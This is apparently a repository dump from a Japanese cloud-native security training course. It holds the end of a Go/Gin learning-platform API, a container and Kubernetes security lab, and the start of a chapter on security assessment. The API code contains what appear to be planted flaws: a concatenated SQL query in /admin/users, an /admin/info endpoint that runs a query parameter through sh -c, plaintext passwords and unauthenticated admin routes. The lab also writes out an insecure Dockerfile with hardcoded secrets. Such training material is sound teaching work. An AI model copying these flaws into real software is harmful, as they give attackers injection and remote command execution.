130 | _, err = db.Exec("INSERT INTO users (username, full_name, password, is_admin) VALUES (?, ?, ?, ?)", user.Username, user.FullName, user.Password, user.IsAdmin)
131 | if err != nil {
132 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
133 | return
134 | }
135 | c.JSON(http.StatusOK, gin.H{"msg": "User registered"})
136 | })
137 |
138 | // ログイン(DB連携)
139 | r.POST("/login", func(c *gin.Context) {
140 | var req User
141 | if err := c.ShouldBindJSON(&req); err != nil {
142 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"})
143 | return
144 | }
145 | var user User
146 | err := db.QueryRow("SELECT username, full_name, password, is_admin FROM users WHERE username = ?", req.Username).Scan(&user.Username, &user.FullName, &user.Password, &user.IsAdmin)
147 | if err == sql.ErrNoRows {
148 | c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
149 | return
150 | } else if err != nil {
151 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
152 | return
153 | }
154 | if user.Password == req.Password {
155 | c.JSON(http.StatusOK, gin.H{"access_token": user.Username, "is_admin": user.IsAdmin})
156 | return
157 | }
158 | c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
159 | })
160 |
161 | // 学習進捗取得(DB連携)
162 | r.GET("/progress/:username", func(c *gin.Context) {
163 | username := c.Param("username")
164 | var userID int
165 | err := db.QueryRow("SELECT id FROM users WHERE username = ?", username).Scan(&userID)
166 | if err == sql.ErrNoRows {
167 | c.JSON(http.StatusNotFound, gin.H{"error": "User not found"})
168 | return
169 | } else if err != nil {
170 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
171 | return
172 | }
173 | rows, err := db.Query(`SELECT p.course_id, c.title, p.percent, p.updated_at FROM progress p JOIN courses c ON p.course_id = c.id WHERE p.user_id = ?`, userID)
174 | if err != nil {
175 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
176 | return
177 | }
178 | defer rows.Close()
179 | var result []map[string]interface{}
180 | for rows.Next() {
181 | var courseID, percent int
182 | var title string
183 | var updatedAt sql.NullTime
184 | if err := rows.Scan(&courseID, &title, &percent, &updatedAt); err != nil {
185 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
186 | return
187 | }
188 | item := map[string]interface{}{
189 | "user_id": userID,
190 | "course_id": courseID,
191 | "course": title,
192 | "percent": percent,
193 | }
194 | if updatedAt.Valid {
195 | item["updated_at"] = updatedAt.Time.Format("2006-01-02T15:04:05")
196 | }
197 | result = append(result, item)
198 | }
199 | c.JSON(http.StatusOK, result)
200 | })
201 |
202 | // 学習進捗更新(DB連携)
203 | r.POST("/progress/:username/:course_id", func(c *gin.Context) {
204 | username := c.Param("username")
205 | courseID := c.Param("course_id")
206 | var req struct {
207 | Percent int `json:"percent"`
208 | }
209 | if err := c.ShouldBindJSON(&req); err != nil {
210 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"})
211 | return
212 | }
213 | var userID int
214 | err := db.QueryRow("SELECT id FROM users WHERE username = ?", username).Scan(&userID)
215 | if err == sql.ErrNoRows {
216 | c.JSON(http.StatusNotFound, gin.H{"error": "User not found"})
217 | return
218 | } else if err != nil {
219 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
220 | return
221 | }
222 | // 進捗更新(INSERT ... ON DUPLICATE KEY UPDATE)
223 | _, err = db.Exec(`INSERT INTO progress (user_id, course_id, percent, updated_at) VALUES (?, ?, ?, NOW()) ON DUPLICATE KEY UPDATE percent = VALUES(percent), updated_at = NOW()`,
224 | userID, courseID, req.Percent)
225 | if err != nil {
226 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
227 | return
228 | }
229 | c.JSON(http.StatusOK, gin.H{"msg": "Progress updated"})
230 | })
231 |
232 | // 管理者による教材登録(DB連携)
233 | r.POST("/courses", func(c *gin.Context) {
234 | var course Course
235 | if err := c.ShouldBindJSON(&course); err != nil {
236 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"})
237 | return
238 | }
239 | _, err := db.Exec("INSERT INTO courses (title, description) VALUES (?, ?)", course.Title, course.Description)
240 | if err != nil {
241 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
242 | return
243 | }
244 | c.JSON(http.StatusOK, gin.H{"msg": "Course added", "course": course})
245 | })
246 |
247 | // 管理画面用API(ユーザー検索:DB連携)
248 | r.GET("/admin/users", func(c *gin.Context) {
249 | search := c.Query("search")
250 | var query string
251 |
252 | if search != "" {
253 | query = "SELECT username, full_name, is_admin FROM users WHERE username LIKE '%" + search + "%'"
254 | } else {
255 | query = "SELECT username, full_name, is_admin FROM users"
256 | }
257 |
258 | rows, err := db.Query(query)
259 | if err != nil {
260 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error", "details": err.Error()})
261 | return
262 | }
263 | defer rows.Close()
264 |
265 | columns, err := rows.Columns()
266 | if err != nil {
267 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
268 | return
269 | }
270 |
271 | var result []map[string]interface{}
272 | for rows.Next() {
273 | values := make([]interface{}, len(columns))
274 | valuePtrs := make([]interface{}, len(columns))
275 | for i := range values {
276 | valuePtrs[i] = &values[i]
277 | }
278 |
279 | if err := rows.Scan(valuePtrs...); err != nil {
280 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
281 | return
282 | }
283 |
284 | row := make(map[string]interface{})
285 | for i, col := range columns {
286 | val := values[i]
287 | if b, ok := val.([]byte); ok {
288 | row[col] = string(b)
289 | } else {
290 | row[col] = val
291 | }
292 | }
293 | result = append(result, row)
294 | }
295 | c.JSON(http.StatusOK, result)
296 | })
297 |
298 | // サーバー情報表示機能
299 | r.GET("/admin/info", func(c *gin.Context) {
300 | info := c.DefaultQuery("info", "uname")
301 |
302 | cmd := exec.Command("sh", "-c", info)
303 | output, err := cmd.Output()
304 | if err != nil {
305 | c.JSON(http.StatusOK, gin.H{
306 | "command": info,
307 | "status": "executed",
308 | "output": string(output),
309 | "error": err.Error(),
310 | })
311 | return
312 | }
313 |
314 | c.JSON(http.StatusOK, gin.H{
315 | "command": info,
316 | "status": "success",
317 | "output": string(output),
318 | })
319 | })
320 |
321 | // コース参加申請(DB連携)
322 | r.POST("/courses/:id/join", func(c *gin.Context) {
323 | var req struct {
324 | Username string `json:"username"`
325 | }
326 | if err := c.ShouldBindJSON(&req); err != nil {
327 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"})
328 | return
329 | }
330 | courseID := c.Param("id")
331 | var userID int
332 | err := db.QueryRow("SELECT id FROM users WHERE username = ?", req.Username).Scan(&userID)
333 | if err == sql.ErrNoRows {
334 | c.JSON(http.StatusNotFound, gin.H{"error": "User not found"})
335 | return
336 | } else if err != nil {
337 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
338 | return
339 | }
340 | // 進捗テーブルに初期値で登録(参加申請)
341 | _, err = db.Exec(`INSERT INTO progress (user_id, course_id, percent, updated_at) VALUES (?, ?, 0, NOW()) ON DUPLICATE KEY UPDATE percent = percent`, userID, courseID)
342 | if err != nil {
343 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
344 | return
345 | }
346 | c.JSON(http.StatusOK, gin.H{"msg": "Course joined"})
347 | })
348 |
349 | // 進捗一覧(全ユーザー・全コース分)
350 | r.GET("/progress", func(c *gin.Context) {
351 | rows, err := db.Query(`SELECT p.user_id, u.username, p.course_id, c.title, p.percent, p.updated_at FROM progress p JOIN users u ON p.user_id = u.id JOIN courses c ON p.course_id = c.id`)
352 | if err != nil {
353 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
354 | return
355 | }
356 | defer rows.Close()
357 | var result []map[string]interface{}
358 | for rows.Next() {
359 | var userID, courseID, percent int
360 | var username, title string
361 | var updatedAt sql.NullTime
362 | if err := rows.Scan(&userID, &username, &courseID, &title, &percent, &updatedAt); err != nil {
363 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
364 | return
365 | }
366 | item := map[string]interface{}{
367 | "user_id": userID,
368 | "username": username,
369 | "course_id": courseID,
370 | "course": title,
371 | "percent": percent,
372 | }
373 | if updatedAt.Valid {
374 | item["updated_at"] = updatedAt.Time.Format("2006-01-02T15:04:05")
375 | }
376 | result = append(result, item)
377 | }
378 | c.JSON(http.StatusOK, result)
379 | })
380 |
381 | r.Run(":8000")
382 | }
383 |
--------------------------------------------------------------------------------
/02_cloud_native_sec/training.md:
--------------------------------------------------------------------------------
1 | # 演習2 クラウドネイティブセキュリティの基礎
2 |
3 | - [演習2 クラウドネイティブセキュリティの基礎](#演習2-クラウドネイティブセキュリティの基礎)
4 | - [目標](#目標)
5 | - [0 事前準備](#0-事前準備)
6 | - [1. コンテナセキュリティ](#1-コンテナセキュリティ)
7 | - [1.1 コンテナの要素技術を理解する](#11-コンテナの要素技術を理解する)
8 | - [1.1.1 Namespaceの確認](#111-namespaceの確認)
9 | - [1.1.2 Cgroupの確認](#112-cgroupの確認)
10 | - [1.1.3 Capabilitiesの確認](#113-capabilitiesの確認)
11 | - [1.2 Dockerfileセキュリティスキャン](#12-dockerfileセキュリティスキャン)
12 | - [1.2.1 セキュアでないDockerfileの作成](#121-セキュアでないdockerfileの作成)
13 | - [1.2.2 Trivyを使用したDockerfileスキャン](#122-trivyを使用したdockerfileスキャン)
14 | - [1.2.3 セキュアなDockerfileの作成](#123-セキュアなdockerfileの作成)
15 | - [2. Kubernetesセキュリティ](#2-kubernetesセキュリティ)
16 | - [2.1 Kubernetesクラスタのセキュリティスキャン](#21-kubernetesクラスタのセキュリティスキャン)
17 | - [2.1.1 Trivyを使用したクラスタスキャン](#211-trivyを使用したクラスタスキャン)
18 | - [2.1.2 検出された問題の分析](#212-検出された問題の分析)
19 | - [2.2 Kubernetes APIサーバーへの直接アクセス](#22-kubernetes-apiサーバーへの直接アクセス)
20 | - [2.2.1 APIサーバーの情報取得](#221-apiサーバーの情報取得)
21 | - [2.2.2 認証なしでのアクセス試行](#222-認証なしでのアクセス試行)
22 | - [2.2.3 証明書を使用した認証](#223-証明書を使用した認証)
23 | - [2.3 Kubernetes認可(RBAC)の理解](#23-kubernetes認可rbacの理解)
24 | - [2.3.1 現在のユーザー権限の確認](#231-現在のユーザー権限の確認)
25 | - [2.3.2 制限されたServiceAccountの作成](#232-制限されたserviceaccountの作成)
26 | - [2.3.3 カスタムRoleの作成と権限制御](#233-カスタムroleの作成と権限制御)
27 | - [2.3.4 名前空間を跨いだ権限の確認](#234-名前空間を跨いだ権限の確認)
28 | - [2.3.5 権限のないアクセスの確認](#235-権限のないアクセスの確認)
29 | - [2.3.6 クリーンアップ](#236-クリーンアップ)
30 | - [次のステップ](#次のステップ)
31 |
32 |
33 | 本演習では、クラウドネイティブセキュリティの基盤となるコンテナとKubernetesのセキュリティ機能を実際に体験し、理解を深めます。
34 |
35 | ## 目標
36 |
37 | - コンテナの要素技術(namespace, cgroup, capabilities)を理解する
38 | - Dockerfileのセキュリティベストプラクティスを学習する
39 | - Kubernetesクラスタのセキュリティ状態を評価する方法を習得する
40 | - Kubernetes APIサーバーの認証・認可の仕組みを理解する
41 |
42 | ---
43 |
44 | ## 0 事前準備
45 |
46 | 作業ディレクトリを作成し、ディレクトリ内でファイル作成等の作業をしてください。
47 |
48 | ```bash
49 | mkdir -p /root//02
50 | cd /root//02
51 | ```
52 |
53 | ## 1. コンテナセキュリティ
54 |
55 | ### 1.1 コンテナの要素技術を理解する
56 |
57 | コンテナの基盤となるLinuxの機能(namespace, cgroup, capabilities)を実際に確認してみましょう。
58 |
59 | #### 1.1.1 Namespaceの確認
60 |
61 | **ホストのnamespaceを確認**
62 |
63 | ```bash
64 | # 現在のnamespaceを確認
65 | ls -la /proc/$$/ns/
66 | ```
67 |
68 | **unshareコマンドで新しいnamespaceを作成**
69 |
70 | ```bash
71 | # PIDとネットワークnamespaceを分離した環境を作成
72 | sudo unshare --pid --net --fork --mount-proc bash
73 |
74 | # 新しいnamespace内でプロセスを確認
75 | ps aux
76 | # → PID 1として新しいbashプロセスが表示されることを確認
77 |
78 | # ネットワークインターフェースを確認
79 | ip addr show
80 | # → loopbackインターフェースのみが表示されることを確認
81 |
82 | exit
83 | ```
84 |
85 | **コンテナ内でのnamespace確認**
86 |
87 | ```bash
88 | # コンテナを起動してnamespaceを確認
89 | docker run -it --rm alpine:latest sh
90 |
91 | # コンテナ内でプロセスを確認
92 | ps aux
93 |
94 | # ネットワークを確認
95 | ip addr show
96 |
97 | # namespaceを確認
98 | ls -la /proc/1/ns/
99 |
100 | exit
101 |
102 | # ホストのnamespaceと比較
103 | ls -la /proc/$$/ns/
104 | ```
105 |
106 | #### 1.1.2 Cgroupの確認
107 |
108 | **cgroupの制限を確認**
109 |
110 | ```bash
111 | # メモリ制限を設定してコンテナを起動
112 | docker run -it --rm --memory=128m alpine:latest sh
113 |
114 | # コンテナ内でメモリ制限を確認
115 | cat /sys/fs/cgroup/memory.max
116 |
117 | exit
118 |
119 | # CPU制限を設定してコンテナを起動(別ターミナル)
120 | docker run -it --rm --cpus=0.5 alpine:latest sh
121 |
122 | # CPU制限を確認
123 | cat /sys/fs/cgroup/cpu.max
124 | # の形式で表示される
125 | # quota / period = 0.5 (50%制限) となることを確認
126 |
127 | exit
128 | ```
129 |
130 | **リソース制限の動作確認**
131 |
132 | ```bash
133 | # メモリを大量消費するプロセスを実行
134 | docker run --memory=64m --rm alpine:latest sh -c "apk add --no-cache python3; python3 -c 'x = b\"a\" * 1024 * 1024 * 80'"
135 | # → メモリ制限によりプロセスが停止することを確認
136 | dmesg
137 | ```
138 |
139 | #### 1.1.3 Capabilitiesの確認
140 |
141 | **デフォルトのcapabilitiesを確認**
142 |
143 | ```bash
144 | # 通常のコンテナでcapabilitiesを確認
145 | docker run -it --rm alpine:latest sh -c "apk add --no-cache libcap && capsh --print" | grep sys_admin
146 |
147 | # 特権コンテナでcapabilitiesを確認
148 | docker run -it --rm --privileged alpine:latest sh -c "apk add --no-cache libcap && capsh --print" | grep sys_admin
149 | ```
150 |
151 | **特定のcapabilityを追加/削除**
152 |
153 | ```bash
154 | # NET_ADMINを追加してネットワーク設定を変更
155 | docker run -it --rm alpine:latest sh -c "ip link add dummy0 type dummy && ip link show dummy0"
156 | docker run -it --rm --cap-add=NET_ADMIN alpine:latest sh -c "ip link add dummy0 type dummy && ip link show dummy0"
157 |
158 | # CHOWNを削除
159 | docker run -it --rm alpine:latest sh -c "touch /tmp/test && chown nobody /tmp/test" 2>&1
160 | docker run -it --rm --cap-drop=CHOWN alpine:latest sh -c "touch /tmp/test && chown nobody /tmp/test" 2>&1
161 | ```
162 |
163 | ### 1.2 Dockerfileセキュリティスキャン
164 |
165 | #### 1.2.1 セキュアでないDockerfileの作成
166 |
167 | まず、セキュリティ上の問題を含むDockerfileを作成します。
168 |
169 | ```bash
170 | cat << 'EOF' > Dockerfile.insecure
171 | FROM ubuntu:latest
172 |
173 | # rootユーザーでアプリケーションを実行
174 | USER root
175 |
176 | # 不要なパッケージをインストール
177 | RUN apt-get update && apt-get install -y \
178 | curl \
179 | wget \
180 | telnet \
181 | ftp \
182 | vim \
183 | git \
184 | && rm -rf /var/lib/apt/lists/*
185 |
186 | # 機密情報をハードコード
187 | ENV API_KEY=sk-1234567890abcdef
188 | ENV DATABASE_PASSWORD=secret123
189 |
190 | # 広範囲のポートを公開
191 | EXPOSE 22 80 443 3306 5432
192 |
193 | # rootでアプリケーションを実行
194 | CMD ["sleep", "infinity"]
195 | EOF
196 | ```
197 |
198 | #### 1.2.2 Trivyを使用したDockerfileスキャン
199 |
200 | ```bash
201 | # Dockerfileの設定不備をスキャン
202 | trivy config Dockerfile.insecure
203 | ```
204 |
205 | #### 1.2.3 セキュアなDockerfileの作成
206 |
207 | 検出された問題を修正したDockerfileを作成します。
208 |
209 | ```bash
210 | cat << 'EOF' > Dockerfile.secure
211 | # 具体的なバージョンを指定
212 | FROM ubuntu:22.04
213 |
214 | # セキュリティパッチを適用
215 | RUN apt-get update && apt-get install -y --no-install-recommends \
216 | curl \
217 | ca-certificates \
218 | && rm -rf /var/lib/apt/lists/* \
219 | && apt-get clean
220 |
221 | # 非root ユーザーを作成
222 | RUN groupadd -r appgroup && useradd -r -g appgroup -s /bin/false appuser
223 |
224 | # アプリケーションディレクトリを作成
225 | WORKDIR /app
226 |
227 | # ファイルの所有者を設定
228 | COPY --chown=appuser:appgroup . .
229 |
230 | # 必要なポートのみ公開
231 | EXPOSE 8080
232 |
233 | # 非rootユーザーに変更
234 | USER appuser
235 |
236 | # アプリケーションを実行
237 | CMD ["sleep", "infinity"]
238 | EOF
239 | ```
240 |
241 | ```bash
242 | # 修正後のDockerfileをスキャン
243 | trivy config Dockerfile.secure
244 | ```
245 |
246 | ## 2. Kubernetesセキュリティ
247 |
248 | ### 2.1 Kubernetesクラスタのセキュリティスキャン
249 |
250 | #### 2.1.1 Trivyを使用したクラスタスキャン
251 |
252 | ```bash
253 | # クラスタ全体のセキュリティ設定をスキャン
254 | trivy k8s --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report summary --timeout=1h
255 |
256 | # 特定のNamespaceをスキャン
257 | trivy k8s --include-namespaces kube-system --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report summary --timeout=1h
258 |
259 | # より詳細な結果を出力(ファイルサイズが非常に大きくなるため注意)
260 | trivy k8s --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report all --timeout=1h > cluster-security-report.txt
261 |
262 | # 結果を確認
263 | cat cluster-security-report.txt
264 | ```
265 |
266 | #### 2.1.2 検出された問題の分析
267 |
268 | ```bash
269 | # CISベンチマークに基づく検証
270 | trivy k8s --compliance=k8s-cis-1.23 --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report summary
271 |
272 | # Pod Security Standards(Baseline)に基づく検証
273 | trivy k8s --compliance=k8s-pss-baseline-0.1 --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report summary
274 | ```
275 |
276 | ### 2.2 Kubernetes APIサーバーへの直接アクセス
277 |
278 | kubectlを使わずに、直接APIサーバーにアクセスして認証・認可の仕組みを理解します。
279 |
280 | #### 2.2.1 APIサーバーの情報取得
281 |
282 | ```bash
283 | # APIサーバーのエンドポイントを確認
284 | kubectl cluster-info
285 |
286 | # APIサーバーのURLを変数に設定(適宜修正)
287 | export API_SERVER=$(kubectl cluster-info | grep "Kubernetes control plane" | awk '{print $7}')
288 | echo "API Server: $API_SERVER"
289 | ```
290 |
291 | #### 2.2.2 認証なしでのアクセス試行
292 |
293 | ```bash
294 | # 認証なしでAPIサーバーにアクセス(403が返される)
295 | curl -k $API_SERVER/api/v1/pods
296 | ```
297 |
298 | #### 2.2.3 証明書を使用した認証
299 |
300 | ```bash
301 | # kubeconfigの内容を表示
302 | kubectl config view --raw
303 |
304 | # kubeconfigからクライアント証明書とキーを抽出
305 | kubectl config view --raw -o jsonpath='{.users[0].user.client-certificate-data}' | base64 -d > kube-client.crt
306 | kubectl config view --raw -o jsonpath='{.users[0].user.client-key-data}' | base64 -d > kube-client.key
307 | kubectl config view --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}' | base64 -d > kube-ca.crt
308 |
309 | # 証明書を使用してAPIサーバーにアクセス
310 | curl --cert kube-client.crt \
311 | --key kube-client.key \
312 | --cacert kube-ca.crt \
313 | $API_SERVER/api/v1/namespaces
314 |
315 | # Podの一覧を取得
316 | curl --cert kube-client.crt \
317 | --key kube-client.key \
318 | --cacert kube-ca.crt \
319 | $API_SERVER/api/v1/pods
320 | ```
321 |
322 | ### 2.3 Kubernetes認可(RBAC)の理解
323 |
324 | Kubernetesの認可機能であるRBACの動作を実際に確認し、最小権限の原則について学習します。
325 |
326 | #### 2.3.1 現在のユーザー権限の確認
327 |
328 | ```bash
329 | # 現在のユーザーで実行可能な操作を確認
330 | kubectl auth can-i get pods
331 | kubectl auth can-i create pods
332 | kubectl auth can-i delete pods
333 | kubectl auth can-i get secrets -n kube-system
334 |
335 | # すべての権限を一覧表示
336 | kubectl auth can-i --list
337 |
338 | # 特定のNamespaceでの権限を確認
339 | kubectl auth can-i --list -n kube-system
340 | ```
341 |
342 | #### 2.3.2 制限されたServiceAccountの作成
343 |
344 | ```bash
345 | # 制限されたServiceAccountを作成
346 | kubectl create serviceaccount limited-sa
347 |
348 | # 現在のServiceAccountの権限を確認(権限なし)
349 | kubectl auth can-i get pods --as=system:serviceaccount:default:limited-sa
350 |
351 | # view権限のみを付与するRoleBindingを作成
352 | kubectl create rolebinding limited-binding \
353 | --clusterrole=view \
354 | --serviceaccount=default:limited-sa
355 |
356 | # 権限付与後の確認
357 | kubectl auth can-i get pods --as=system:serviceaccount:default:limited-sa
358 | kubectl auth can-i create pods --as=system:serviceaccount:default:limited-sa
359 | kubectl auth can-i delete pods --as=system:serviceaccount:default:limited-sa
360 | ```
361 |
362 | #### 2.3.3 カスタムRoleの作成と権限制御
363 |
364 | ```bash
365 | # Pod読み取り専用のRoleを作成
366 | kubectl create role pod-reader \
367 | --verb=get,list,watch \
368 | --resource=pods
369 |
370 | # ServiceAccountにカスタムRoleを割り当て
371 | kubectl create serviceaccount custom-sa
372 | kubectl create rolebinding custom-binding \
373 | --role=pod-reader \
374 | --serviceaccount=default:custom-sa
375 |
376 | # カスタムRoleの権限を確認
377 | kubectl auth can-i get pods --as=system:serviceaccount:default:custom-sa
378 | kubectl auth can-i create pods --as=system:serviceaccount:default:custom-sa
379 | kubectl auth can-i get services --as=system:serviceaccount:default:custom-sa
380 |
381 | # 権限の詳細を確認
382 | kubectl auth can-i --list --as=system:serviceaccount:default:custom-sa
383 | ```
384 |
385 | #### 2.3.4 名前空間を跨いだ権限の確認
386 |
387 | ```bash
388 | # test Namespaceを作成
389 | kubectl create namespace test
390 |
391 | # defaultのみで有効なRoleBindingの動作確認
392 | kubectl auth can-i get pods --as=system:serviceaccount:default:custom-sa -n default
393 | kubectl auth can-i get pods --as=system:serviceaccount:default:custom-sa -n test
394 |
395 | # クラスター全体で有効なClusterRoleBindingを作成
396 | kubectl create clusterrolebinding cluster-pod-reader \
397 | --clusterrole=view \
398 | --serviceaccount=default:cluster-sa
399 |
400 | kubectl create serviceaccount cluster-sa
401 |
402 | # 異なるNamespaceでの権限を確認
403 | kubectl auth can-i get pods --as=system:serviceaccount:default:cluster-sa -n default
404 | kubectl auth can-i get pods --as=system:serviceaccount:default:cluster-sa -n test
405 | kubectl auth can-i get pods --as=system:serviceaccount:default:cluster-sa -n kube-system
406 | ```
407 |
408 | #### 2.3.5 権限のないアクセスの確認
409 |
410 | ```bash
411 | # 権限のないリソースへのアクセスを試行
412 | kubectl auth can-i create secrets --as=system:serviceaccount:default:limited-sa
413 | kubectl auth can-i delete nodes --as=system:serviceaccount:default:limited-sa
414 |
415 | # 実際にPodを作成して権限制限を確認
416 | cat << EOF > test-pod.yaml
417 | apiVersion: v1
418 | kind: Pod
419 | metadata:
420 | name: test-rbac-pod
421 | spec:
422 | serviceAccountName: limited-sa
423 | containers:
424 | - name: test
425 | image: alpine:latest
426 | command: ["sleep", "3600"]
427 | EOF
428 |
429 | kubectl apply -f test-pod.yaml
430 |
431 | # Podにexec
432 | kubectl exec -it test-rbac-pod -- /bin/sh
433 |
434 | # Pod内からkubectl操作を試行
435 | wget -qO /tmp/kubectl https://dl.k8s.io/release/v1.33.3/bin/linux/amd64/kubectl
436 | chmod +x /tmp/kubectl
437 | /tmp/kubectl get pods
438 | /tmp/kubectl auth whoami
439 |
440 | # ServiceAccountの認証情報
441 | ls /var/run/secrets/kubernetes.io/serviceaccount/
442 |
443 | exit
444 | ```
445 |
446 | #### 2.3.6 クリーンアップ
447 |
448 | ```bash
449 | # 作成したリソースを削除
450 | kubectl delete pod test-rbac-pod --ignore-not-found
451 | kubectl delete serviceaccount limited-sa custom-sa cluster-sa --ignore-not-found
452 | kubectl delete rolebinding limited-binding custom-binding --ignore-not-found
453 | kubectl delete clusterrolebinding cluster-pod-reader --ignore-not-found
454 | kubectl delete role pod-reader --ignore-not-found
455 | kubectl delete namespace test --ignore-not-found
456 | ```
457 |
458 | ---
459 |
460 | ## 次のステップ
461 |
462 | 演習完了後、[3章 セキュリティアセスメント](../03_security_assessment/README.md) に進みます。
463 |
--------------------------------------------------------------------------------
/03_security_assessment/README.md:
--------------------------------------------------------------------------------
1 | # 3章 セキュリティアセスメント
2 |
3 | - [3章 セキュリティアセスメント](#3章-セキュリティアセスメント)
4 | - [1. ルールベースとリスクベースのセキュリティアプローチ](#1-ルールベースとリスクベースのセキュリティアプローチ)
5 | - [1.1. ルールベースセキュリティとは](#11-ルールベースセキュリティとは)
6 | - [1.2. リスクベースセキュリティとは](#12-リスクベースセキュリティとは)
7 | - [1.3. Kubernetesおよびクラウドネイティブ環境における適用性](#13-kubernetesおよびクラウドネイティブ環境における適用性)
8 | - [1.4. ルールベース vs リスクベースセキュリティ](#14-ルールベース-vs-リスクベースセキュリティ)
9 | - [2. クラウドネイティブプラットフォームのための脅威モデリング](#2-クラウドネイティブプラットフォームのための脅威モデリング)
10 | - [2.1. 脅威モデリングとは](#21-脅威モデリングとは)
11 | - [2.2. STRIDE脅威モデル](#22-stride脅威モデル)
12 | - [2.3. 攻撃対象領域とデータフローの脆弱性を特定する手法](#23-攻撃対象領域とデータフローの脆弱性を特定する手法)
13 | - [3. 多層防御(Defense-in-Depth)の実装](#3-多層防御defense-in-depthの実装)
14 | - [3.2. Kubernetes内のセキュリティ層の図示](#32-kubernetes内のセキュリティ層の図示)
15 | - [3.3. 各層の多様なセキュリティ制御を統合するための戦略](#33-各層の多様なセキュリティ制御を統合するための戦略)
16 | - [4. セキュリティ対策の費用対効果](#4-セキュリティ対策の費用対効果)
17 | - [4.1. セキュリティ投資と組織目標およびリスク許容度のバランス](#41-セキュリティ投資と組織目標およびリスク許容度のバランス)
18 | - [4.2. セキュリティ価値の定量化とリソース配分の最適化](#42-セキュリティ価値の定量化とリソース配分の最適化)
19 | - [4.3. クラウドネイティブにおけるセキュリティ投資収益率(ROSI)](#43-クラウドネイティブにおけるセキュリティ投資収益率rosi)
20 | - [次のステップ](#次のステップ)
21 |
22 |
23 | 本章では、クラウドネイティブ環境のセキュリティを強化する上で、システムのセキュリティ状態を評価し、具体的な対策を決定するための考え方やフレームワークをご紹介します。
24 |
25 | ## 1. ルールベースとリスクベースのセキュリティアプローチ
26 |
27 | ### 1.1. ルールベースセキュリティとは
28 |
29 | ルールベースセキュリティは、事前定義された標準、ポリシー、規制、またはベストプラクティスへの準拠に焦点を当てたアプローチです。これは、確立されたルールへの準拠を確実にすることに関わります。このアプローチは、GDPRやHIPAAなどの規制要件、PCI DSSなどの業界標準、または組織内部のポリシーによって推進されることがよくあります。
30 |
31 | **主な特徴:**
32 | - **コンプライアンス駆動:** 主な目標は、特定の義務を満たすことです。
33 | - **チェックリスト指向:** 一連のルールやコントロールに対する準拠を検証することを含みます。
34 | - **静的/反応的:** 既知の構成に対する定期的な監査やスキャンを伴うことが多いです。
35 | - **例:** KubernetesのCISベンチマーク、NISTガイドライン、内部セキュリティベースライン、Policy as Codeによる自動ポリシー適用。
36 |
37 | Policy as Codeは、動的な環境においてもルールベースのコントロールをより効果的かつ一貫性のあるものにするメカニズムとして機能します。
38 |
39 | ### 1.2. リスクベースセキュリティとは
40 |
41 | リスクベースセキュリティは、潜在的な影響と可能性に基づいて、実際の脅威と脆弱性を特定、評価、および軽減することに焦点を当てたアプローチです。これは、何が問題になりうるか、それがどれくらい起こりそうか、そしてその結果がどれほど深刻になるかを理解することに関わります。このアプローチは、組織のリスクを削減する上で最も大きな影響を与える場所にセキュリティ投資を優先させます。
42 |
43 | **主な特徴:**
44 | - **脅威中心:** 潜在的な攻撃ベクトルと攻撃者を特定し、理解することに焦点を当てます。
45 | - **プロアクティブ/適応的:** 潜在的な損害を予測し防止することを目指し、進化する脅威に適応します。
46 | - **優先順位付け:** 最も重要なリスクに最初に対処するためにリソースを向けます。
47 | - **例:** 脅威モデリング、脆弱性管理、ペネトレーションテスト、インシデント対応計画。
48 |
49 | リスクベースアプローチのメリットには、優先順位付け、リソースの最適化、およびビジネス目標との整合性があります。
50 |
51 | ### 1.3. Kubernetesおよびクラウドネイティブ環境における適用性
52 |
53 | **ルールベースセキュリティの適用:**
54 | - **Pros:** Kubernetes環境において、ベースラインのセキュリティ体制を確立するために不可欠です。例えば、コントロールプレーンとワーカーノードを強化するためのCIS Kubernetesベンチマークは、初期評価の強力な指標となります。OPA GatekeeperやKyvernoのようなPolicy as Codeツールは、アドミッションコントロールでルールを強制し、すべての新しいデプロイメントがセキュリティ標準(例:特権コンテナなし、必須リソース制限)に準拠することを保証できます。
55 | - **Cons:** コンプライアンスはセキュリティとイコールではありません。システムがすべてのルールに完全に準拠していても、ルールでカバーされていない新しい攻撃や誤設定に対して脆弱である可能性があります。クラウドネイティブの動的な性質は、静的なルールセットがすぐに陳腐化する可能性があることを意味します。
56 |
57 | **リスクベースセキュリティの適用:**
58 | - **Pros:** 複雑な分散システムにおける固有のリスクを特定するのに非常に効果的です。脅威モデリングは、マイクロサービス間の相互作用、API露出、Kubernetes内のデータフローに特有の脆弱性を明らかにするのに役立ちます。これにより、開発スピードをできるだけ損なわず、実際のビジネス影響に基づいて修復作業を優先させることができます。
59 | - **Cons:** 脅威と脆弱性を正確に評価するためには深い専門知識が必要です。特に大規模で急速に進化する環境では、リソース集約的になる可能性があります。リスク評価における主観性が一貫性の欠如につながる可能性があります。
60 |
